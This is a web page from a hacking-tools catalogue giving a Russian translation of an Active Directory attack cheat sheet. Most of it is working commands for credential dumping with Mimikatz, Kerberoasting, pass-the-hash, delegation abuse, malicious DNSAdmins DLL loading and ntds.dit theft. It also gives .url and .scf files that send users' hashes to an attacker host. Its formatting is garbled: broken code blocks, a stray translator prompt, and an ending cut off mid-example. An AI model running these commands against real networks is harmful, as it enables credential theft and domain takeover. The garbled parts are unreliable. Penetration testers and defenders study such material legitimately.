Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Active-Directory-Exploitation-Cheat-Sheet — Шпаргалка с общими методами перечисления и атак для Windows Active Directory. | Kitploit
Инструменты/GitHubGitHub/s1ckb0y1337/active-directory-exploitation-cheat-sheet
Повышение привилегийРазведкаЭксплуатацияЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеПодобранные Ресурсы

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
s1ckb0y1337/active-directory-exploitation-cheat-sheet

Active-Directory-Exploitation-Cheat-Sheet

Шпаргалка с общими методами перечисления и атак для Windows Active Directory.

Репозиторий
6.7k1.3k73 месяцев назадПроверено Kitploit

Шпаргалка по эксплуатации Active Directory

Эта шпаргалка содержит распространенные методы перечисления и атак для Windows Active Directory.

ℹ️ Этот репозиторий создан Никосом Кациописом и Никосом Вурдасом.

Эта шпаргалка вдохновлена репозиторием PayloadAllTheThings.

Просто выгуливая собаку

Содержание

  • Шпаргалка по эксплуатации Active Directory
    • Содержание
    • Инструменты
    • Перечисление домена
      • Использование PowerView
      • Использование модуля AD
      • Использование BloodHound
        • Удаленный BloodHound
        • Локальный BloodHound
      • Использование Adalanche
        • Удаленный adalanche
      • Экспорт перечисленных объектов
      • Полезные инструменты для перечисления
    • Локальное повышение привилегий
      • Полезные инструменты локального повышения привилегий
    • Боковое перемещение
      • Удаленное управление PowerShell
      • Удаленное выполнение кода с учетными данными PS
      • Импорт модуля PowerShell и удаленное выполнение его функций
      • Выполнение удаленных команд с сохранением состояния
      • Mimikatz
      • Протокол удаленного рабочего стола
      • Атаки с использованием файлов URL
      • Полезные инструменты
    • Повышение привилегий в домене
      • Kerberoast
      • ASREPRoast
      • Атака перебором паролей
      • Принудительная установка SPN
      • Злоупотребление теневыми копиями
      • Список и расшифровка сохраненных учетных данных с помощью Mimikatz
      • Неограниченное делегирование
      • Ограниченное делегирование
      • Делегирование на основе ресурсов
      • Злоупотребление DNSAdmins
      • Злоупотребление встроенным DNS Active Directory
      • Злоупотребление группой операторов резервного копирования
      • Злоупотребление Exchange
      • Использование ошибки принтера
      • Злоупотребление ACL
      • Злоупотребление IPv6 с mitm6
      • Злоупотребление историей SID
      • Эксплуатация SharePoint
      • Zerologon
      • PrintNightmare
      • Службы сертификатов Active Directory
      • No PAC
    • Постоянство в домене
      • Атака Golden Ticket
      • Атака DCsync
      • Атака Silver Ticket
      • Атака Skeleton Key
      • Злоупотребление DSRM
      • Пользовательский SSP
    • Атаки между лесами
      • Доверенные билеты
      • Злоупотребление серверами MSSQL
      • Разрыв доверия между лесами

Инструменты

  • Powersploit
  • PowerUpSQL
  • Powermad
  • Impacket
  • Mimikatz
  • Rubeus -> Скомпилированная версия
  • BloodHound
  • AD Module
  • ASREPRoast
  • Adalanche

Перечисление домена

Использование PowerView

Powerview v.3.0
Powerview Wiki

  • Получить текущий домен: Get-Domain

  • Перечислить другие домены: Get-Domain -Domain <DomainName>

  • Получить SID домена: Get-DomainSID

  • Получить политику домена: ```powershell Get-DomainPolicy

    #Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy

    root@kitploit:~
  • Получить контроллеры доменов: ```powershell Get-DomainController Get-DomainController -Domain

    root@kitploit:~
  • Перечислить пользователей домена: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

    #Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List

    #Enumerate user logged on a machine Get-NetLoggedon -ComputerName

    #Enumerate Session Information for a machine Get-NetSession -ComputerName

    #Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName

    root@kitploit:~
  • Перечисление компьютеров домена: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

    #Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

    root@kitploit:~

❗ Повышение привилегий до Domain Admin через охоту за пользователями:
У меня есть локальный административный доступ к машине -> У Domain Admin есть сессия на этой машине -> Я краду его токен и выдаю себя за него -> Прибыль!

Использование модуля AD

  • Получить текущий домен: Get-ADDomain

  • Перечислить другие домены: Get-ADDomain -Identity <Domain>

  • Получить SID домена: Get-DomainSID

  • Получить контроллеры домена: ```powershell Get-ADDomainController Get-ADDomainController -Identity

    root@kitploit:~
  • Перечислить Domain Users: ```powershell Get-ADUser -Filter * -Identity -Properties *

    #Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description

    root@kitploit:~
  • Перечисление компьютеров домена: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *

    root@kitploit:~
  • Перечисление доверительных отношений домена: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity

    root@kitploit:~
  • Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity

    #Domains of Forest Enumeration (Get-ADForest).Domains

    root@kitploit:~
  • Перечисление локальной эффективной политики AppLocker: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

    root@kitploit:~

Использование BloodHound

Удаленный BloodHound

Репозиторий Python BloodHound или установите его с помощью `pip3 install bloodhound````powershell bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All

root@kitploit:~
#### Локальный BloodHound```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>

#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

Использование Adalanche

Удаленный Adalanche```bash

kali linux:

./adalanche collect activedirectory --domain
--username Username@Domain --password
--server

Example:

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb

-> Terminating successfully

Any error?:

LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389

Invalid Credentials ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic

Analyze data

go to web browser -> 127.0.0.1:8080

./adalanche analyze

root@kitploit:~
#### Export Enumerated Objects

Вы можете экспортировать перечисленные объекты из любого модуля/cmdlet в XML-файл для последующего анализа.

Командлет `Export-Clixml` создает представление объекта или объектов на основе XML в формате Common Language Infrastructure (CLI) и сохраняет его в файл. Затем вы можете использовать командлет `Import-Clixml` для воссоздания сохраненного объекта на основе содержимого этого файла.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml

# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml

# You can now apply any condition, filters, etc.

$DomainUsers | select name

$DomainUsers | ? {$_.name -match "User's Name"}

Полезные инструменты для разведки

  • ldapdomaindump Сбор информации через LDAP
  • adidnsdump Сбор DNS через интегрированный DNS любым аутентифицированным пользователем
  • ACLight Расширенное обнаружение привилегированных учетных записей
  • ADRecon Подробный инструмент разведки Active Directory

Повышение локальных привилегий

  • Windows Local Privilege Escalation Cookbook Сборник методов повышения локальных привилегий в Windows

  • Juicy Potato Злоупотребление привилегиями SeImpersonate или SeAssignPrimaryToken для имитации системы

    ⚠️ Работает только до Windows Server 2016 и Windows 10 до обновления 1803

  • Lovely Potato Автоматизированный Juicy Potato

    ⚠️ Работает только до Windows Server 2016 и Windows 10 до обновления 1803

  • PrintSpoofer Эксплуатация PrinterBug для имитации системы

    🙏 Работает на Windows Server 2019 и Windows 10

  • RoguePotato Улучшенный Juicy Potato

    🙏 Работает на Windows Server 2019 и Windows 10

  • Abusing Token Privileges Злоупотребление привилегиями токенов для повышения локальных привилегий в Windows

  • SMBGhost CVE-2020-0796
    PoC

  • CVE-2021-36934 (HiveNightmare/SeriousSAM)

Полезные инструменты для локального повышения привилегий

  • PowerUp Злоупотребление неправильными конфигурациями
  • BeRoot Общий инструмент разведки для повышения привилегий
  • Privesc Общий инструмент разведки для повышения привилегий
  • FullPowers Восстановление привилегий сервисной учетной записи

Горизонтальное перемещение

PowerShell Remoting```powershell

#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions

root@kitploit:~
### Удаленное выполнение кода с использованием PS Credentials```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

Импорт модуля PowerShell и удаленное выполнение его функций```powershell

#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session Enter-PSSession -Session $sess

root@kitploit:~
### Выполнение удаленных команд с сохранением состояния```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz```powershell

#The commands are in cobalt strike format!

#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:

#List all available kerberos tickets in memory mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys mimikatz sekurlsa::ekeys

#Dump SAM Database mimikatz lsadump::sam

#Dump SECRETS Database mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all

#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history

#List and Dump local kerberos credentials mimikatz kerberos::list /dump

#Pass The Ticket mimikatz kerberos::ptt

#List TS/RDP sessions mimikatz ts::sessions

#List Vault credentials mimikatz vault::list

root@kitploit:~
:exclamation: Что если mimikatz не может извлечь учетные данные из-за защиты LSA?

- LSA как защищенный процесс (обход уровня ядра)  ```powershell
  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

  #Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  #Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords
  • LSA как защищенный процесс (пространство пользователя "бесфайловый" обход)

    • PPLdump
    • Обход защиты LSA в пространстве пользователя
  • LSA запущен как виртуализированный процесс (LSAISO) с помощью Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso

    #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp

    #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log

    root@kitploit:~
  • Подробное руководство по Mimikatz

  • Изучение двух вариантов защиты lsass

Протокол удаленного рабочего стола

Если хост, к которому мы хотим выполнить латеральное перемещение, включил "RestrictedAdmin", мы можем передать хеш с помощью протокола RDP и получить интерактивный сеанс без пароля в открытом виде.

  • Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"

    #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated

    root@kitploit:~
  • xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>

root@kitploit:~
:⚠️ Если на удаленной машине отключен режим Restricted Admin, мы можем подключиться к хосту с помощью другого инструмента/протокола, например psexec или winrm, и включить его, создав следующий раздел реестра и установив его значение в ноль: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

- Обход ограничения "Single Session per User"

На компьютере в домене, если у вас есть возможность выполнять команды от имени системы или локального администратора и вам нужен сеанс RDP, который уже использует другой пользователь, вы можете обойти ограничение на один сеанс, добавив следующий раздел реестра:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0

После того как вы выполните нужные действия, вы можете удалить ключ, чтобы восстановить ограничение одного сеанса на пользователя.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse

root@kitploit:~
### Атаки на файлы URL

- файл .url  ```
  [InternetShortcut]
  URL=whatever
  WorkingDirectory=whatever
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  IconIndex=1

Please provide the Markdown content to translate. ``` [InternetShortcut] URL=file:///leak/leak.html

root@kitploit:~
- .scf файл  ```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Поместив эти файлы в доступную для записи общую папку, жертве нужно только открыть проводник и перейти к этой папке. Примечание: файл не нужно открывать или взаимодействовать с ним, но он должен быть в корне файловой системы или просто виден в окне проводника Windows, чтобы быть отрисованным. Используйте responder для захвата хешей.

❗ Атаки с помощью файлов .scf не работают на последних версиях Windows.

Полезные инструменты

  • Powercat netcat, написанный на PowerShell, предоставляет возможности туннелирования, ретрансляции и перенаправления портов.
  • SCShell инструмент бесфайлового латерального перемещения, использующий ChangeServiceConfigA для выполнения команды.
  • Evil-Winrm лучшая оболочка WinRM для взлома/пентестинга.
  • RunasCs версия встроенной утилиты runas.exe на C# с открытым исходным кодом.
  • ntlm_theft создает все возможные форматы файлов для атак с использованием URL-файлов.

Повышение привилегий в домене

Kerberoast

ЧТО ЭТО?:
Все стандартные пользователи домена могут запросить копию всех сервисных учетных записей вместе с соответствующими хешами паролей, так что мы можем запросить TGS для любого SPN, привязанного к учетной записи 'пользователя', извлечь зашифрованный блоб, который был зашифрован с использованием пароля пользователя, и перебрать его офлайн.

  • PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN

    #Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast

    #Requesting the TGS for a single account: Request-SPNTicket

    #Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'

    root@kitploit:~
  • AD Module: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

    root@kitploit:~
  • Impacket: ```powershell python GetUserSPNs.py /: -outputfile

    root@kitploit:~
  • Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:

    #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec

    #Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes

    #Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple

    #Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:

    root@kitploit:~

ASREPRoast

ЧТО ЭТО ТАКОЕ?:
Если учетная запись пользователя домена не требует предварительной аутентификации Kerberos, мы можем запросить действительный TGT для этой учетной записи, даже не имея учетных данных домена, извлечь зашифрованный
блоб и подобрать его офлайн.

  • PowerView: Get-DomainUser -PreauthNotRequired -Verbose
  • Модуль AD: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Принудительно отключить предварительную аутентификацию Kerberos для учетной записи, к которой у меня есть права на запись или выше! Проверить интересные разрешения для учетных записей:

Подсказка: Мы добавляем фильтр, например, RDPUsers, чтобы получить "учетные записи пользователей", а не учетные записи компьютеров, потому что хэши учетных записей компьютеров не поддаются взлому!

PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose

root@kitploit:~
- И, наконец, выполните атаку с помощью инструмента [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast).  ```powershell
  #Get a specific Accounts hash:
  Get-ASREPHash -UserName <UserName> -Verbose

  #Get any ASREPRoastable Users hashes:
  Invoke-ASREPRoast -Verbose
  • Использование Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:

    #ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:

    #ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:

    root@kitploit:~
  • Использование Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile

    root@kitploit:~

Атака Password Spray

Если мы получили несколько паролей, скомпрометировав учетную запись пользователя, мы можем использовать этот метод для попытки эксплуатации повторного использования паролей на других учетных записях домена.

Инструменты:

  • DomainPasswordSpray
  • CrackMapExec
  • Invoke-CleverSpray
  • Spray

Принудительная установка SPN

ЧТО ЭТО?: Если у нас есть достаточные разрешения -> GenericAll/GenericWrite, мы можем установить SPN на целевой учетной записи, запросить TGS, затем получить его BLOB и перебрать его.

  • PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

    #Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname

    #Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}

    root@kitploit:~
  • AD Модуль: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName

    #Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}

    root@kitploit:~

Наконец, используйте любой инструмент из предыдущих, чтобы получить хэш и выполнить kerberoast!

Использование теневых копий

Если у вас есть локальный доступ администратора к машине, попробуйте вывести список теневых копий — это простой способ повышения привилегий в домене (Domain Escalation).```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows

#List shadow copies using diskshadow diskshadow list shadows all

#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

root@kitploit:~
1. Вы можете выгрузить резервную копию базы данных SAM и извлечь учетные данные.
2. Найдите учетные данные, хранящиеся в DPAPI, и расшифруйте их.
3. Получите доступ к резервным копиям конфиденциальных файлов.

### Список и расшифровка сохраненных учетных данных с помощью Mimikatz

Обычно зашифрованные учетные данные хранятся в:

- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Detailed Article: DPAPI all the things

Неограниченная делегация

ЧТО ЭТО ТАКОЕ?: Если у нас есть административный доступ к машине с включенной неограниченной делегацией, мы можем ждать, пока к ней подключится высокоприоритетная цель или администратор домена, украсть его TGT, затем выполнить ptt и выдать себя за него!

Использование PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose

#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'

root@kitploit:~
**Примечание:** Мы также можем использовать Rubeus!

### Constrained Delegation

Используя PowerView и Kekeo:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

АЛЬТЕРНАТИВА: Использование Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt

root@kitploit:~
Теперь мы можем получить доступ к службе как олицетворённый пользователь!

:triangular_flag_on_post: **Что если у нас есть права делегирования только для конкретного SPN? (например, TIME):**

В этом случае мы всё ещё можем злоупотребить функцией Kerberos, называемой «альтернативная служба». Это позволяет нам запрашивать билеты TGS для других «альтернативных» служб, а не только для той, на которую у нас есть права. Это даёт нам возможность запрашивать действительные билеты для любой службы, которую поддерживает хост, предоставляя полный доступ к целевой машине.

### Делегирование на основе ресурсов с ограничениями

_ЧТО ЭТО?: \
Кратко: \
Если у нас есть привилегии GenericALL/GenericWrite на объекте учётной записи компьютера домена, мы можем злоупотребить ими и олицетворить себя как любого пользователя домена для этого компьютера. Например, мы можем олицетворить администратора домена и получить полный доступ._

Инструменты, которые мы будем использовать:

- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)

Сначала нам нужно войти в контекст безопасности учётной записи пользователя/компьютера, имеющей привилегии над объектом.
Если это учётная запись пользователя, мы можем использовать Pass the Hash, RDP, PSCredentials и т.д.

Пример эксплуатации:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

Подробные статьи:

  • Влияние на собаку: злоупотребление делегированием на основе ресурсов для атаки на Active Directory
  • ЗЛОУПОТРЕБЛЕНИЕ ДЕЛЕГИРОВАНИЕМ НА ОСНОВЕ РЕСУРСОВ

❗ В случае делегирования с ограничениями и делегирования на основе ресурсов, если у нас нет пароля/хэша учетной записи с TRUSTED_TO_AUTH_FOR_DELEGATION, которой мы пытаемся злоупотребить, мы можем использовать очень хороший трюк «tgt::deleg» из kekeo или «tgtdeleg» из rubeus и обмануть Kerberos, чтобы он выдал нам действительный TGT для этой учетной записи. Затем мы просто используем билет вместо хэша учетной записи для выполнения атаки.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap

root@kitploit:~
Detailed Article:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)

### Злоупотребление DNSAdmins

_ЧТО ЭТО ТАКОЕ?: Если пользователь является членом группы DNSAdmins, он может загрузить произвольную DLL с привилегиями процесса dns.exe, работающего от имени SYSTEM. Если DC выступает в роли DNS-сервера, пользователь может повысить свои привилегии до DA. Для срабатывания этой эксплуатации требуются привилегии на перезапуск службы DNS._

1. Перечислите участников группы DNSAdmins:
   - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
   - Модуль AD: `Get-ADGroupMember -Identiny DNSAdmins`
2. После того как мы нашли члена этой группы, необходимо его скомпрометировать (способов много).
3. Затем, разместив вредоносную DLL на SMB-ресурсе и настроив использование этой DLL, мы можем повысить свои привилегии:   ```powershell
   #Using dnscmd:
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll

   #Restart the DNS Service:
   sc \\DNSServer stop dns
   sc \\DNSServer start dns

Злоупотребление Active Directory-интегрированным DNS

  • Эксплуатация DNS, интегрированного с Active Directory
  • ADIDNS: пересмотр
  • Inveigh

Злоупотребление группой Backup Operators

WUT IS DIS ?: Если нам удастся скомпрометировать учётную запись пользователя, входящего в группу Backup Operators, мы можем воспользоваться её привилегией SeBackupPrivilege, чтобы создать теневую копию текущего состояния DC, извлечь файл базы данных ntds.dit, слить хэши и повысить наши привилегии до DA.

  1. После того, как мы получили доступ к учётной записи, имеющей SeBackupPrivilege, мы можем обратиться к DC и создать теневую копию с помощью подписанной утилиты diskshadow: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive

    create

    expose %mydrive% w: end backup }

    #Execute diskshadow with our script as parameter diskshadow /s script.txt

    root@kitploit:~
  2. Далее нам нужно получить доступ к теневой копии, у нас может быть привилегия SeBackupPrivilege, но мы не можем просто скопировать-вставить ntds.dit, нам нужно имитировать работу резервного программного обеспечения и использовать вызовы Win32 API, чтобы скопировать его в доступную папку. Для этого мы будем использовать этот замечательный репозиторий: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll

    #Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege

    #If it isn't we enable it Set-SeBackupPrivilege

    #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite

    #Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive

    root@kitploit:~
  3. Используя smbclient.py из impacket или другой инструмент, копируем ntds.dit и куст SYSTEM на нашу локальную машину.

  4. Используем secretsdump.py из impacket и извлекаем хеши.

  5. Используем psexec или другой инструмент на ваш выбор для PTH и получаем доступ администратора домена.

Злоупотребление Exchange

  • Abusing Exchange one Api call from DA
  • CVE-2020-0688
  • PrivExchange Обменяйте свои привилегии на права администратора домена, злоупотребляя Exchange

Вооружение ошибки принтера

  • Printer Server Bug to Domain Administrator
  • NetNTLMtoSilverTicket

Злоупотребление ACL

  • Escalating privileges with ACLs in Active Directory
  • aclpwn.py
  • Invoke-ACLPwn

Злоупотребление IPv6 с помощью mitm6

  • Compromising IPv4 networks via IPv6
  • mitm6

Злоупотребление SID History

ЧТО ЭТО?: Если нам удастся скомпрометировать дочерний домен леса и фильтрация SID не включена (в большинстве случаев она не включена), мы можем злоупотребить этим для повышения привилегий до администратора домена корневого домена леса. Это возможно из-за поля SID History в билете Kerberos TGT, которое определяет «дополнительные» группы безопасности и привилегии.

Пример эксплуатации:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local

